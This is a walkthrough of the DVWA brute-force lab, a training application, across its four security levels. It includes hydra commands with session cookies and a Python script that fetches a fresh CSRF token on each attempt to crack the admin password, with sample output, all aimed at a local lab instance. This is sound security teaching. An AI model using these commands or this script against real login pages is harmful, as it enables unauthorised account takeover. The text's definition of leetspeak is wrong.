DVWA - Brute Force
Information
The DVWA server itself contains instructions about almost everything.
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.
The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficultly, with a simple straightforward interface.
The DVWA server has 4 different security levels which can be set as seen below:
- Low: This security level is completely vulnerable and has no security measures at all. It’s use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
- Medium: This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
- High: This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
- Impossible: This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
Brute-force
Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password (usually thought to be less than 6 or 7 characters), or predictable patterns (e.g. alternating vowels and consonants, which is known as leetspeak, so “password” becomes “p@55w0rd”).
Creating a targeted wordlist, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).
A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords making the attack time longer.
Source video walkthrough.
Security: Low
The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.
Intercept packet with Burp Suite:
Things to note down:
GET
request- Parameters:
username
,password
,Login
Cookie: PHPSESSID=ud36qu65oddvmncfg54n515nhn; security=low
Check for error messages when attempting a random login (via Burp Suite or browser):
Create a small username and password lists for efficiency:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
cat usernames.txt root peter kevin harris maria andrew mike sridevi pavithra admin cat passwords.txt 1234 123456 pass password123 qwerty qwerty123456 12345 1234567890 qwertyasdfg password
Build a
hydra
command using the above info:1
hydra -L usernames.txt -P passwords.txt 127.0.0.1 -s 42001 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=ud36qu65oddvmncfg54n515nhn; security=low:F=Username and/or password incorrect." -t 30
Security: Medium
This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible. This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.
Almost identical hydra
command as before, just change security=low
to security=medium
:
1
hydra -L usernames.txt -P passwords.txt 127.0.0.1 -s 42001 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=ud36qu65oddvmncfg54n515nhn; security=medium:F=Username and/or password incorrect." -t 30
Security: High
There has been an “anti Cross-Site Request Forgery (CSRF) token” used. There is a old myth that this protection will stop brute force attacks. This is not the case. This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. The idea of this is to try and confuse any timing predictions. Using a CAPTCHA form could have a similar effect as a CSRF token.
Same concept as before, this time changing security=medium
to security=high
:
1
hydra -L usernames.txt -P passwords.txt 127.0.0.1 -s 42001 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=ud36qu65oddvmncfg54n515nhn; security=high:F=Username and/or password incorrect." -t 30
Security: Impossible
Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a “lock out” feature, where if there are five bad logins within the last 15 minutes, the locked out user cannot log in. If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know if there is a valid account on the system, with that password, and if the account is locked. This can cause a “Denial of Service” (DoS), by having someone continually trying to login to someone’s account. This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).
Using the
hydra
command won’t work this time (100 valid passwords found
–> all combinations):1 2
hydra -L usernames.txt -P passwords.txt 127.0.0.1 -s 42001 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=ud36qu65oddvmncfg54n515nhn; security=impossible:F=Username and/or password incorrect." -t 30
Due to the added CSRF token,
hydra
can’t brute force the credentials. It does not have the ability to collect the CSRF token while making the request:The CSRF token (
user_token
) changes on every attempted login:Create a custom brute-forcing script:
Changes needed from the Security Tutorials article (original code taken from Danny Beton):
sudo pip3 install bs4, 2to3
sudo apt install 2to3
- Conversion of the script from Python2 to Python3:
2to3 -w csrf_script.py
- Modify bs4 import:
from BeautifulSoup import BeautifulSoup as Soup
tofrom bs4 import BeautifulSoup as Soup
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
# modified code from sys import argv import requests from bs4 import BeautifulSoup as Soup # give our arguments more semantic friendly names script, filename, success_message = argv txt = open(filename) # set up our target, cookie and session url = 'http://127.0.0.1:42001/vulnerabilities/brute/index.php' cookie = {'security': 'high', 'PHPSESSID':'ud36qu65oddvmncfg54n515nhn'} s = requests.Session() target_page = s.get(url, cookies=cookie) ''' checkSuccess @param: html (String) Searches the response HTML for our specified success message ''' def checkSuccess(html): # get our soup ready for searching soup = Soup(html, features="lxml") # check for our success message in the soup search = soup.findAll(text=success_message) if not search: success = False else: success = True # return the brute force result return success # Get the intial CSRF token from the target site page_source = target_page.text soup = Soup(page_source, features="lxml"); csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value') # Display before attack print('DVWA URL' + url) print('CSRF Token='+ csrf_token) # Loop through our provided password file with open(filename) as f: print('Running brute force attack...') for password in f: # strip whitespace password = password.strip() # setup the payload payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token} r = s.get(url, cookies=cookie, params=payload) success = checkSuccess(r.text) if not success: # if it failed the CSRF token will be changed. Get the new one soup = Soup(r.text, features="lxml") csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value') else: # Success! Show the result print('Password is: ' + password) break # We failed, bummer. if not success: print('Brute force failed. No matches found.')
1 2 3 4 5 6
# running python script python3 csrf_script.py passwords.txt "Welcome to the password protected area admin" DVWA URLhttp://127.0.0.1:42001/vulnerabilities/brute/index.php CSRF Token=09377057fe6a3b73fe3eb82c6ecce061 Running brute force attack... Password is: password